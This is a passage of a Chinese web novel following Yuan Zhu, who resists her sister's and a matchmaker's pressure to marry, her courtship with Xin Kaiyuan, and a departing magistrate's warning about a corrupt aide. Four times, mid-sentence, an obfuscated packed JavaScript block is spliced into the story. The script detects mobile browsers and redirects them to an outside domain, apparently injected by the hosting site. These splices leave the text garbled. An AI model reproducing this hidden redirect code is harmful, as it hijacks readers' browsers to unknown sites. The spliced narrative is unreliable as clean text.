“我记不清了,也许改过吧。”李长风答道。 “你爹叫什么名字,你还记得吗?”姜佑安又问道。 李长风摇了摇头,添稻草的手一直没停,“不记得了。” “那,你爹有没有给你定过娃娃亲?”姜佑安追问道。 “不知道,没印象。”李长风答道。 杨恩拿长勺搅和着锅里的面条,越听越觉得奇怪,“姜院长,怎么了?你为什么突然来问这些?” “我们书院有个学生,他爹和李家村的一个朋友给孩子结了娃娃亲,听起来跟李长风有点关系,我就过来问问,不过,他什么都不记得了,正好那个学生他爹也有反悔的意思,要真是长风,就全当娃娃亲不作数了。”姜佑安说道。 “娃娃亲是什么?”李长风问道。 “就是从小给一个女孩和一个男孩结了亲,等两个孩子长大了就成亲。”姜佑安解释道。 “我不成亲,我要守着姜姐姐。”李长风说道。 姜佑安笑了笑,“你现在还小,等你长大了再说吧。” “姜院长,面条马上好了,你也一起吃点儿吧。”杨恩说道。 “不了,那边做我的饭了,长风,你就当我什么都没说吧,我先回去了。”姜佑安说着走出了厨房。 李长风看着姜佑安消失在门口,一声不响地发起呆来。 “长风,饭好了,你去叫大家来吃饭吧。”杨恩说道。 李长风没有回答,杨恩又叫了他一声,他才突然回神,“怎么了?” “面煮好了,我先盛出来,你去叫大家来吃饭吧。”杨恩说道。 “哦,好。”李长风站起身来,匆匆跑出了厨房。 无法确定李长风是不是周帛的娃娃亲对象,姜佑安觉得还是先不要告诉周帛比较好,两个人都是孩子,彼此也没有说过几句话,要是知道了这种可能,只会让两个人都觉得别扭,还是顺其自然吧。 姜佑安回到袁家吃了午饭,袁竹留了周帛在这里吃饭,吃过饭,她就又去园子里练习射箭了,姜佑安也跟着去练了一阵,跟周帛聊了聊,并没有问出什么新的信息。 袁竹吃过饭,拿着锄头和菜种去菜园里种菜去了,袁萱草把孩子交给了钟二娘,让他跟其他孩子一起玩,自己跟着袁竹去菜园里干活。 袁萱草一边开垄,一边向袁竹说着王公子的好话,她心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784181|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里很得意,周帛是听从了她的话,才做出了正确的决定,没有拒绝这门亲事,在她看来,这俩人就是天生一对儿。 袁竹虽然不太认可,但那王公子长得还行,性格是大方会说话,她也没什么可挑剔的,不过,这事主要还是看周帛怎么想,袁竹也就是听听,没说什么。 袁萱草说完了王公子,又开始夸辛开元,说他年轻、身体强壮,干活卖力,对袁竹的事也肯上心,让袁竹一定把握住他,过了这个村,可就没这个店了。 袁竹心不在焉地听着,弯着腰,两粒三粒地把种子丢在土里。 袁萱草话锋一转,说自己明天就要回去了,袁竹直起身来,问她怎么这么着急,让她再多住几天。 袁萱草拒绝了,说家里的菜园还没种上菜,她得回去干活了。 袁竹也没有过多挽留,晚上想再跟姐姐说说话,孩子缠得她抽不开身,只好作罢,给她和孩子包了一些吃的用的,把她们送到县里去。 早上,辛开元等在院门边,袁竹看他身体好了,也就没再赶他走,他接过徐洪愿肩上的担子,跟着一起往县里走。 没走多远,就遇到了周帛往学堂去,她过来跟袁萱草打了招呼,听说她要走了,周帛说很感谢她帮忙出主意,她决定要接受这门亲事,他爹很快会安排王公子到家里来,互相熟悉熟悉。 袁萱草很是欣慰,祝她早日成亲,生一个大胖小子。 周帛害羞地点了点头,跟她们挥挥手,往学堂去了,袁竹一行人也继续往县里去了。 “姐,她才十七岁,你就祝她生孩子,这不太好吧。”袁竹说道。 “早晚都是要生的,有什么不好的?你也是,等以后岁数大了,可就生不了了,你也得抓紧。”袁萱草说道。 “我不是跟你说了吗?我不想要孩子,你看我这家里的孩子,还不够多吗?”袁竹说道。 “那也不是你的。”袁萱草说着,看向一旁挑担子的辛开元,“辛老师,你觉得我妹妹怎么样?” “袁娘子很好,非常好。”辛开元笑着答道。 “那我做了她的主,让她嫁给你怎么样?”袁萱草问道。 袁竹顿时生起气来,却又不想在即将和姐姐分别的时候发作出来,她尽量压抑着自己的怒火,“姐!你干吗做我的主?我都跟你说了,我不想嫁人!你非逼我干什么?” 袁萱草正想表现自己是个说一不二的姐姐,就听到妹妹在拆她的台,一时也有些生气,“我是你姐!你不听爹娘的,连我的话也不听了?我这么做是为你好,你想想从小到大,我害过你吗?” “袁姐姐,你别跟袁娘子生气,在她心里,你是跟她最亲近的人,我知道你是想要袁娘子过得好,可是,这件事,还是要袁娘子自己做主。”辛开元说道。 “你别管这些,我只问你,你想不想娶她?”袁萱草问道。 “我不想娶袁娘子。”辛开元说道。 袁萱草感觉很意外,难道是她想错了?“你不想娶她?那你还天天过来跟她一起卖花,你敢说你不是对我妹妹有意思?” 134. 送别 辛开元笑了笑,坦然说道:“我喜欢袁娘子,如果她肯松口,我可以嫁给她,当上门女婿,可袁娘子不愿意,她还不想成亲,在这件事上,我得听她的。” “辛老师愿意入赘?”徐洪愿越听越惊讶,原来辛开元和袁竹是这种关系吗?她还以为袁竹只把新开元当弟弟看待呢。 袁萱草扯住了袁竹的胳膊,瞪了她一眼,“他都愿意入赘了,你怎么还不肯答应?” 袁竹停住了脚步,看来分开之前大吵一架是不可避免的了,“姐,这是我的事,跟你没关系,你就不要管了。” “我不管?我不管,就眼睁睁看着你把这么一个好男人推走,自己一个人过下半辈子?”袁萱草大声说道。 袁竹不甘示弱,也提高了音量,“你才来几天,他好不好你怎么知道?那个王公子,你只见了一面,跟他说了两句话,就把他夸到天上去了,恨不得马上让周帛嫁给她,现在又要把我嫁给辛开元,我们就这么缺男人吗?” “你不缺男人,那你倒是找一个啊,你要是有男人了,我不就不为你操心了吗?”袁萱草说道。 “谁让你操心这个了?你一听说有男人要娶我,就想着赶紧把我嫁出去,我自己过得好好的,怎么就非得找个男人?”袁竹反驳道。 “袁娘子,咱们有话好好说,别吵架了。”辛开元放下担子,扯了扯袁竹的袖子,轻声劝道。 徐洪愿也拉着袁萱草的胳膊劝道:“对啊,别吵架,咱们都好好说。” 小宝牵着袁萱草的手,哇的一声哭了起来,“娘,别吵架,我害怕。” 袁萱草赶忙把孩子抱在怀里安慰,“不吵架,娘不吵架,反正说了也没人听,我还说她干什么。” 袁竹憋着一口气,没理她,一行人沉默着到了县里,徐洪愿张罗着给袁萱草租了马车,把袁竹给她拿的东西都放进了车里, 袁竹让袁萱草等一等,去给她和小宝买了烧鸡,还割了一大块猪肉,放进了车里。 袁萱草站在马车变,有些不好意思,又拉不下脸来跟妹妹道谢,只嘴硬地说道:“不用你费这个心了。” 倒是小宝在车里欢呼着,“太好了,又有烧鸡吃了!” 袁竹从怀里拿出几块碎银子来,塞到袁萱草的手里,“这是五两银子,大块的是三两,两个小块的各一两,你把那二两给你婆婆,剩下三两自己收着,别都给出去。” “我,我不是来打秋风的。”袁萱草嘴里这么说着,却没有把钱还回去。 “我知道,你不想找我要钱,你这次带着孩子来,是你婆婆要你来的吧,你要是不拿钱回去,她肯定不高兴,你也知道,我宅子旁边还在盖房子、修院墙,我手上也没有什么闲钱,这点银子,你就拿去应付你婆婆吧。”袁竹说道。 袁萱草没想到妹妹会这么理解自己的处境,一时眼眶都红了起来,她把两小块银子收了起来,把大块的还给袁竹,“这些就够我应付婆婆了,剩下的你自己留着吧。” 袁竹拉着她的手,又把那块银子塞回了她手里,“你家里的钱全在你婆婆手里,你买东西的时候肯定不方便,这个你自己收着,别让其他人知道了,想给自己买点什么,就直接买,不用去求你婆婆。” 袁萱草吸了吸鼻子,把钱收起来,上了马车,小宝探出头来,“小姨,我们走了!” 袁竹笑着向他挥手,“好,慢走,回去告诉你奶奶,你们带来的芝麻特别香!我们都喜欢吃。” 小宝也笑着挥手,“小姨买的烧鸡也特别香!我也喜欢。” 目送马车消失在路口,袁竹走到徐洪愿身边,“走,卖花去。” “我还以为你们姐妹俩会一直互不搭理呢,这不是感情挺好的吗?刚才怎么吵得那么凶。”徐洪愿说道。 “我姐一直觉得,是女人就应该嫁给一个男人,这样后半辈子就有了依靠,再有了自己的孩子,老了才能过得舒坦,她是为我好,才会说那样的话,不过,我不喜欢她替我做决定。”袁竹说道。 辛开元挑着担子走在袁竹的侧后方,观察着她的脸色,“你今天看起来,没有上次那么难过了。” “上次她那么着急回去,我以为她婆婆不愿意让她来,我们俩再见面会很难,现在我知道了,她夫家穷,她婆婆爱财又抠门,知道她能从我这里要到钱,她婆婆以后肯定会经常让她过来找我的。”袁竹说道。 “你的钱也是辛苦挣来的,你打算以后还这么白白给他们?”徐洪愿问道。 袁竹看着街边嫩绿的垂柳,深吸了一口春天的空气,觉得心情好了许多,“要是没有我姐,我可能都活不到现在,她来找我,是有她的难处,我只是想让她好过一些。” “你姐的事,你自己做主就是了,我们也不好说什么,不过,你跟辛老师是怎么回事?”徐洪愿问道。 “什么怎么回事?”袁竹问道。 徐洪愿皱起了眉头,“你还跟我装糊涂,你姐姐都要把你嫁给辛老师了,我都不知道你们还有这事,你是不是觉得我很笨啊?” 袁竹笑了笑,“本来就没什么事,你想让我说什么?” 徐洪愿回头看向辛开元,“辛老师,你来说,你跟袁竹是怎么回事?” “袁娘子帮你在崇正书院闹事的时候,我看到了她,对她一见钟情,我想要入赘到袁家,袁娘子不同意,就这么回事。”辛开元说道。 “是那么久之前的事?我还真是笨,竟然以为你们是以姐弟的关系相处。”徐洪愿想起以前的事,感慨万千,“原来你们是在那个时候就认识了,这么说来,还是因为我,你们才认识的。” 辛开元笑了,“是啊,多亏有徐娘子。” “是多亏袁竹仗义,愿意帮我,要不然,我现在还在那个人渣家里挨揍呢。”徐洪愿说道。 “我正是钦慕袁娘子的侠肝义胆。”辛开元说道。 “好了,你们俩就不要吹捧我了,说再多,我也不会给你们加钱的。”袁竹笑着说道。 徐洪愿也笑了,“袁娘子也有害羞的时候啊?” “我是什么厚脸皮的人吗?”袁竹说道。 “那倒不是,我觉得你就是脸皮太薄了,才不答应辛老师入赘。”徐洪愿说道。 袁竹板起脸来,“怎么又扯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787955|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到这上面来了?你也想跟我吵架是不是?” “你吵架那么厉害,我才不想跟你吵,我就是好奇,你为什么不答应辛老师?”徐洪愿问道。 “你不也说过不想在嫁人吗?有什么想不明白的?”袁竹说道。 “这不一样,我是因为在男人身上吃了亏,辛老师来了这么久了,大家互相都了解了,他肯定不会让你吃亏的。”徐洪愿说道。 “徐娘子,你就不要继续问了,等袁娘子什么时候想告诉我了,她自己会说的。”辛开元劝道。 “好好好,我也不是那不识趣的人,我不问就是了。”徐洪愿走到辛开元面前,“你也挑了一路了,换我挑会儿吧。” 三人卖完花回去,徐洪愿一进了门,就忙去了后院找钟二娘说悄悄话,说辛开元在追求袁竹,钟二娘听了直笑话她,这么明显的事,谁看不出来。 徐洪愿有些郁闷,连只在这里住了几天的袁萱草都看出来了,难道自己真的是最后一个知道的? 徐洪愿走得匆忙,没注意堂屋里坐着客人,见袁竹进了二门,董媒婆忙笑着迎了出去,“袁娘子回来了。” 袁竹没想到家里还有一个陌生人,她有些茫然地问道,“你是?” 石倩从厨房里走了出来,笑呵呵地介绍道:“袁娘子,这位是董媒婆,来给你说媒的。” 袁竹听了脸色一黑,“我不需要别人给我说媒,你走吧。” “袁娘子,我给你介绍的可是个大户人家,你要是嫁过去,以后再也不用辛苦卖花,下半辈子,可都是享福的命了。”董媒婆笑着说道。 “我没有这个命,你快走吧,别让我轰你!”袁竹冷着脸说道。 董媒婆收起了笑脸,“袁娘子眼光高,我都听说了,可我实话跟你说,你的岁数也不小了,女人的青春就这么几年,有好的机会你不抓紧了,等你人老珠黄,身后还拖着这么一大家子人,可就连别人挑剩的,都轮不到你了。” “你就是用这种话吓唬小姑娘的?你以为你说几句贬低我的话,我就会着急把自己嫁出去?我告诉你,我既不想挑别人,也不想被别人挑,你去找那愿意互相挑的人家去吧,还有,你也告诉其他媒婆一声,我不想嫁人,以后都别到我家来了。”袁竹说道。 辛开元走到董媒婆面前,“这里不欢迎你,请回吧。” 董媒婆看了看辛开元,冷笑一声,“我说怎么不用我们说媒,原来是已经找好男人了,你早说出来,让大家知道,不是省得我空跑一趟了。” 辛开元有些不耐烦,“这跟我没关系,你别往我身上扯,袁娘子说她不想嫁人,你听不懂吗?” “女人哪有不嫁人的?袁娘子说不嫁,不过是因为害羞罢了,哪能当真。”董媒婆说道。 袁竹越听越生气,眼睛狠狠地瞪着她,“每一次媒婆来,我都说我不嫁人,是你们不信,非要跑过来说亲,你还要来怨我,说我让你空跑一趟?明明是你们听不懂人话!” 董媒婆丝毫不畏惧袁竹的怒火,“你以为你还年轻啊,年岁不等人,你拖得岁数越来越大,连孩子生不了,以后就没人要了!” 135. 门房 “我有没有人要都跟你没关系!你赶紧给我滚出去!再不走,我可就拿笤帚赶了!”袁竹大声说道。 见董媒婆还没有要走的意思,辛开元扯着她的胳膊,把她拉到了院门外,“袁娘子岁数大不大,能不能生孩子,都不是你该议论的事,以后不要再来了!” 董媒婆见事情没有了转机,只好骂了几声,怏怏地回去了。 辛开元回到院里时,石倩正在跟袁竹道歉,说以后再不放媒婆进来了,他跟袁竹打了声招呼,说自己要回去了。 袁竹没说什么,辛开元转身向外走,看到卖花担子还在门边放着,他走过去,把担子拿进了门房里,袁竹也跟着走了进去。 “病刚好就跟着我们卖花,真是辛苦你了,中午要不要留在这里吃饭?”袁竹问道。 辛开元把扁担立在墙角,冲袁竹笑了笑,“没事,我全好了,杨恩那儿留了我的饭,我就不跟学生们抢饭吃了。” 袁竹站在门边,侧着头,一半脸隐没在阴影里,“你,是不是也觉得我成亲比较好?” “你这话问的奇怪。”辛开元走过去,和袁竹面对面站着,用热烈的目光注视着她,“我喜欢你,所以我想和你成亲,我想和你成亲,是因为我想和你在一起,永远在一起,跟其他的都无关。” 袁竹看着辛开元的目光,不禁有些退缩,“大家都觉得我走那条路比较好,也许我成亲了,就不会有今天这样的麻烦事了,也不会有各种人催我了,可我总觉得,为了这种理由,不值得。” “为这种理由,当然不值得,袁娘子成亲,只能是因为袁娘子想成亲,不能因为别的。”辛开元说道。 袁竹很感动于辛开元对她的支持,却又觉得没有底气,“你觉得我真的可以这样吗?” 辛开元牵起了袁竹的手,“当然可以,姜院长不就是这样吗?她喜欢戴老师,却不同意跟戴老师成亲,现在两个人不也挺好的?再说了,徐娘子不也没打算成亲吗?这个家里,除了姜院长以外,都是没有男人的女人,不也都过得好好的?” 袁竹点了点头,“有时候我觉得姜佑安很不靠谱,想一出是一出,但有的时候,我又很羡慕她的勇气。” “袁娘子不必羡慕其他人,你就是很有勇气的人,你为徐娘子那样受欺负的人出头,出钱帮姜院长开书院,还收养了这么多孩子,收留了这么多无处可去的女人,你把这么多的重担都挑在自己肩上,没有勇气,根本就做不到。”辛开元说道。 袁竹笑了,“我哪有你说得那么厉害,大家不过是凑一起讨生活,挣钱过日子而已。” “袁娘子就是这么厉害。”辛开元把袁竹抱在怀里,“袁娘子是顶天立地的女子,哪怕不能和袁娘子成亲,我也希望能和袁娘子并肩而立,共度一生。” 袁竹犹豫了片刻,伸手抱住了辛开元的腰,仰头笑着说道:“谢谢你。” 她的笑容灿烂,脸颊微红,眼睛都是信任和感激,辛开元拥着她,心脏狂跳不止,“是我要谢谢你,谢谢你给了我这样的机会,让我能留在你身边,哪怕你以后有了别的男人,我也不想离开。” 袁竹有些害羞地垂下眼帘,“你说什么傻话!有你一个就够麻烦的了,我要那么多男人做什么。” 辛开元放开了袁竹,快速关上了门房的门,又快速走回来,抱着她,低头吻在她的唇上,“说好了,你只要我一个男人。” 袁竹看着他长长的睫毛,脑子里空空的,什么也想不起来,只觉得嘴唇上酥酥麻麻的。 “袁娘子。”辛开元轻轻啃咬着袁竹的嘴唇,“你反悔了吗?” 牙齿轻轻啃咬嘴唇的触觉让袁竹回了神,“没……”她只说出一个字,辛开元的舌头就探进了她嘴里。 他这是做什么?袁竹有些惊慌,头往后仰,手上轻轻推着辛开元的胳膊,辛开元把她抱在怀里,温柔地勾着她的舌头,邀请她共舞。 辛开元一手揽着袁竹的腰,一手扶着她的后脑勺,袁竹避无可避,茫然无措地张着嘴,几乎忘记了呼吸。 “袁娘子…袁竹…”辛开元抱着她,在亲吻的间隙,动情地呼唤着。 袁竹感觉脸上烧得厉害,两个人唇舌交缠,粗重的鼻息和口腔里的声音混杂在一起,让她的心情异常兴奋,她不知道自己这是怎么了,两手紧紧抓着辛开元的胳膊,却不知道该怎么办好。 “袁竹…袁娘子…”见袁竹没有拒绝,辛开元越吻越激动,两只手转移到袁竹的后背,渐渐收紧,让两个人的身体紧紧贴合。 袁竹强烈地感受到男人的身体在压迫着她,厌恶的情绪涌出,她用力推开辛开元,“够…够了…” 辛开元感觉还不够,他还想要更多、更多,他松开了袁竹,又凑过去,意犹未尽地亲吻着袁竹的脸,“对不起…是不是我太用力了?” 袁竹的气还没喘匀,她红着脸说道:“我…不喜欢这样…” 辛开元直起身子,脸上也红红的,“对不起,我没有问你的意见就亲了你。” “没事,以后不要做这种奇怪的事了。”袁竹故作镇静地说道。 “这不是奇怪的事,我喜欢你,我想和你亲吻,你不想吗?”辛开元认真地问道。 袁竹觉得辛开元是在捉弄她,“怎么不奇怪?你要亲嘴就亲嘴,谁让你伸舌头的,多恶心。” 辛开元的眉头一蹙,表情有些委屈,“袁娘子觉得我恶心?” 虽然他表现得很委屈,但袁竹也不想轻易妥协,“不是你恶心,是你这种行为恶心,哪有把舌头伸别人嘴里的。” “我才不会伸别人嘴里,我只想伸袁娘子嘴里,我觉得这样很舒服,你不舒服吗?”辛开元问道。 袁竹更加确定辛开元是在捉弄她,她有些生气,“你故意逗我的,是不是?” “没有。”辛开元赶忙把袁竹抱在怀里,轻声安慰,“我没有逗你,互相喜欢的人都会做这种事的,我是因为喜欢你,才这么做的。” 袁竹很是怀疑,“为什么互相喜欢的人,要做这种奇怪的事?” “因为想要互相亲近啊,想要毫无距离地拥抱对方,亲吻对方,而且,也很舒服,很快乐,不过,袁娘子要是觉得不舒服,我以后不做就是了。”辛开元说道。 袁竹微微低下了头,“倒也不是不舒服,就是感觉很奇怪。” 终于听到了袁竹的真实想法,辛开元很高兴,凑到她耳边轻声问道:“袁娘子,可以再亲一下吗?” 袁竹转过头,在他唇上轻轻碰了一下,小声说道:“只能这样亲。” “好,我都听袁娘子的。”辛开元笑着凑过去,一遍一遍地亲吻着她的嘴唇。 袁竹扶着辛开元的肩膀,感受着嘴唇上轻轻的爱抚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794448|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,厌恶的感觉消失了,她的心里舒坦了许多。 她讨厌别人的逼迫,也讨厌不顾她想法的亲近,更讨厌强硬的男人,如果辛开元能一直听她的话,她不介意在他想要时,跟他这样亲吻,虽然她不明白为什么要亲吻。 辛开元还在没完没了地亲吻着她的嘴唇,两个人的呼吸又变得急促起来。 “别…别亲了吧…”袁竹说道。 “再…亲一会儿…”辛开元浓烈的感情都释放在了他的双唇之间,好想紧紧抱她,好想听她呼唤自己的名字,好想让她爱上自己,好想让她再也离不开自己。 “袁娘子…”辛开元放开了袁竹的嘴唇,凝视着她乌黑的瞳孔,“你叫我一下我的名字。” 辛开元的脸近在迟尺,他期待的眼神,看得袁竹心里发慌,她紧张地舔了舔嘴唇,“辛,开元……” 辛开元抱紧了袁竹,“袁娘子,你以后就这么叫我吧。” 袁竹靠在他胸前,点了点头。 院门外传来一阵嘈杂声,是学生们放学回来了,袁竹赶忙推开了辛开元,“你该回去了。” “好,明天早上,我在大门外等你。”辛开元开心地笑了笑,打开门走了出去。 袁竹独自在门房里待了许久,直到阮荷来寻人,叫她过去吃饭,她才走了出来,跟阮荷商量起做点心的事。 吃午饭时,姜佑安提起刚才她和学生们一起回来,东边有几个人在盖房子的男人冲着她们吹口哨,她让袁竹把那几个吹口哨的人换掉。 袁竹觉得只是吹口哨而已,算不了什么,他们是附近村里的,不用他们了,就得从更远的村子里找人,太麻烦了。 姜佑安却坚持要换掉他们,说这样的举动让孩子们觉得不舒服,就要让他们知道这样做的后果,让他们再也不敢这么做,也让孩子们知道,她们不必忍受这种不舒服。 袁竹想了想,觉得姜佑安说得也在理,不能让孩子们习惯忍受这种不舒服,得让她们知道,有人在保护她们,觉得不舒服就说出来,她下午就去把那几个人换掉了,还让钟二娘告诉孩子们一声,有事要说出来一起商量,大家都会帮忙的。 过了清明节,知县就收拾了行李,带着家人和仆人上路了,泰安县的百姓夹道相送,既为他升迁感到高兴,又为失去一个心系百姓的好官而失落。 唐佐一路向前走,道路旁的百姓有送礼的,有送吃食的,有请他喝饯行酒的,还有些文人,把自己写的赞颂唐知县功绩的诗文送到了他手里。 唐佐高兴得红光满面,只喝了几杯酒,收下了诗文,就让大家别再送了,百姓们不肯散去,执意要送,唐佐一再拜谢。 由百姓们簇拥着出了城,唐佐看到姜佑安带着女子书院的学生们来送他,心情越发地好了,“姜院长怎么也到这里来了?” 姜佑安走过去,向唐佐行了一礼,“大人对我们女子书院有恩,如今您要走了,我们当然要来相送。” “姜院长客气了。”唐佐刻意压低了声音,“姜院长也对我有恩,我不过是投桃报李罢了。” 姜佑安笑着行礼拜谢,“那件事,也是大人来解救我们在先,是我要谢大人才是。” 唐佐左右看了看,走到姜佑安身边,进一步压低了声音,“我要走了,许多事不得不就此搁下,我只提醒你一句,吴县丞这个人,你千万要小心。” 136. 婚礼 姜佑安抬头向唐佐身后看了一眼,小声问道:“大人这是什么意思?” “吴县丞和霍家有勾结,你小心就是。”唐佐说完,向旁边撤了两步,“姜院长,咱们就此别过。” 姜佑安见他不愿意继续说下去,也就没再追问,“大人一路顺风。” 学生们在姜佑安身后,此起彼伏地对唐佐喊着“一路顺风”,唐佐颇为感动,解下腰间系着玉佩交给姜佑安,向学生们挥了挥手,上了马车,绝尘而去。 唐佐走了,百姓们也都纷纷散去,只有县衙的人还守在路边,郭英走到姜佑安身边,“知县刚才跟你说什么了?” 姜佑安看到县丞吴思恭正在看着她,她笑着扬了扬手中的玉佩,扬声说道:“知县大人把他的玉佩送给了咱们书院,说以后要是没钱了,可以拿这个去当。” 郭英拿过玉佩,翻来覆去地看着,“这玩意儿很值钱吗?” “这个玉可是和田白玉,雕工又好,肯定值钱。”姜佑安说道。 郭英有些惊讶,“你还认识玉呢?这能值多少钱?” “你还真要换钱啊?知县大人给的东西,不得好好收藏着,说不定以后还能有什么用呢。”姜佑安说道。 “能有什么用?我看就换钱最有用,听说他上任的地方离这里特别远,以后怕是没有机会再见面了。”袁竹说道。 姜佑安见县衙的人都离开了,忙嘱咐袁竹,“你把玉佩好好收好,带大家回去吧,正好来县城了,我去看看龙世蓉。” “行,你去吧。”袁竹把玉佩收了起来,招呼大家回去了。 戴庭芳见姜佑安往城门口走,也跟了过去,“你要去哪儿?” “龙世蓉要成亲了,我去看看她,你要一起去吗?”姜佑安问道。 “嗯。”戴庭芳点点头,跟着姜佑安去了龙家。 龙家正在为筹备婚礼的事忙碌,龙世蓉忙里偷闲,亲自接待了姜佑安和戴庭芳。 “姜院长和戴老师怎么有空到我这里来?”龙世蓉问道。 “龙老板不是快要成亲了嘛,我们是在专程来道贺的。”姜佑安笑着说道。 龙世蓉不大信,“道贺怎么连贺礼也不带?” “贺礼就等喝喜酒那天再奉上,今天只是闲来无事,过来聊聊天。”姜佑安说道。 仆人端了茶水点心来,龙世蓉请二人喝茶,“我爹去送知县,说看到你跟学生们也在,送完了知县,又过来找我,姜院长,你现在的表面功夫是越做越足了。” “我去送知县,是因为之前知县帮过我的忙,还给我们女子书院拨了房子,为表感谢,送送他也是应该的,至于龙老板,一直听说你招了许家莺的哥哥为婿,也不知道具体是怎么回事,还不许我过来问问吗?”姜佑安说道。 龙世蓉喝了一口茶,把茶杯放回了桌上,“我第一次见你的时候,你说你喜欢黎泱泱,还是当着黎泱泱的面说的,当时真是吓了我一跳,后来我想了想,确实如你所说,要是面对倾慕之人,连喜欢都说不出口,可能一辈子都办法和自己真正喜欢的人在一起。” 姜佑安有些惊讶,“你喜欢的人,就是许家莺的哥哥?他不是说想要娶小阮吗?” “他只在庙会上远远见过阮荷一面,就觉得自己钟情于她,这种情感,听起来美好,却丝毫经不住考验,自己就会消散,不比我和他从小相识,互相都有了解。”龙世蓉说道。 “听起来,这件事对你来说,像是轻而易举的。”姜佑安说道。 龙世蓉轻轻笑着,“说轻易,其实也费了我一番功夫,不过现在看来,一切都是值得的。” 姜佑安问出了自己一直好奇的问题,“他本来是许家的继承人,怎么会愿意入赘到你家?” “他从小就是个木头性格,还有些傻气,他不爱出门,也不爱跟人说话,更不爱做生意,唯一的爱好就是射箭,弓箭社开始赌博之后,他就连弓箭社都不去了,入赘到我家,不用做绸缎庄的掌柜,对他来说,也是一件好事。”龙世蓉解释道。 “在你家的场地里,还能练骑射,确实再合适不过了。”姜佑安说道。 “你要是想练,也随时欢迎你过来。”龙世蓉说道。 姜佑安笑了,“行啊,许家莺长得清秀,她哥哥应该也不错吧,正好让我见识见识,龙老板看上的男人,究竟长什么模样。” “你可不许打他的主意!”龙世蓉警告道。 “不会的,我就看看,不动手。”姜佑安笑着说道。 龙世蓉无奈地摇了摇头,看向默默坐在一旁的戴庭芳,“戴老师这么正经的人,遇上这么一个不着调的院长,真是可惜了,我看你还不如去做家莺的塾师。” 戴庭芳微微一笑,“姜院长待我挺好的。” “龙老板,我还没见到你夫婿,你就要把我的戴老师撬走?你还是别费这个心了,戴老师这样的绝色美男,我才不会放他走。”姜佑安说道。 “你真是一点儿也不害臊。”龙世蓉笑着站起身来,“不跟你扯这些了,我还有事要忙,你们喝茶吃点心,歇够了再走,要不,中午留在这吃饭也行。” “不麻烦了,我们马上就走,”姜佑安也站起身来,“我还有一件事要问你。” 龙世蓉走到了姜佑安面前,“什么事?” “之前我被捕入狱的时候,你去大牢里看我,是吴县丞带你进去的吧,你跟吴思恭很熟吗?”姜佑安问道。 “我不熟,是我爹让我去找他的,我爹说孝敬了他不少银子,让他帮个小忙,他不会拒绝的。”龙世蓉说道。 “他经常收孝敬银子吗?”姜佑安问道。 “别人家我不太清楚,但我们家过年过节都要给他送礼,他不针对我们收重税,我们的生意才能做得下去。”龙世蓉说道。 姜佑安皱起了眉头,“你是说,他把持着整个县的商业税收?” “可以这么说。”龙世蓉点了点头,“泰安县的知县没有做得长久的,外来的官没有本地人通晓本地的情况,所以多需要县丞辅佐,特别是在新知县还没上任的时候,更是由吴县丞全权处理本县的大小事务,虽然知县大人官衔比他大,也难免被他牵制。” “吴县丞和庆丰镇的霍家有没有什么联系?这你知道吗?”姜佑安问道。 “这我不清楚,等我爹回来,我可以帮你问问,不过,你问这个干什么?县丞找你麻烦了?”龙世蓉问道。 “没有,刚才在送行队伍里看到吴县丞了,我想起以前霍家的族长提过他,就随便问问。”姜佑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798826|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安说道。 “他可不是什么善人,好在你们那里养的人多,没什么油水可捞,要不,他早就派人上门找茬了,你啊,还是躲着他点儿比较好,别惹上麻烦。”龙世蓉说道。 “我会小心的,你去忙吧,我们先走了。”姜佑安和戴庭芳行礼告辞,龙世蓉派人把两人送了出去。 从龙家出来,姜佑安去了趟瓷器铺,预订了一批花瓶簪,又去了书铺,买了几本兵书。 出了书铺,走在回家的路上,戴庭芳奇怪地问起,“你买兵书做什么?” “这是给箫悦笙买的,她说辛开元把学生们操练得像一支军队一样,她就也想学学兵法,说不定日后会有用处。”姜佑安说道。 “附近又没有战事,学兵法能有什么用?”戴庭芳说道。 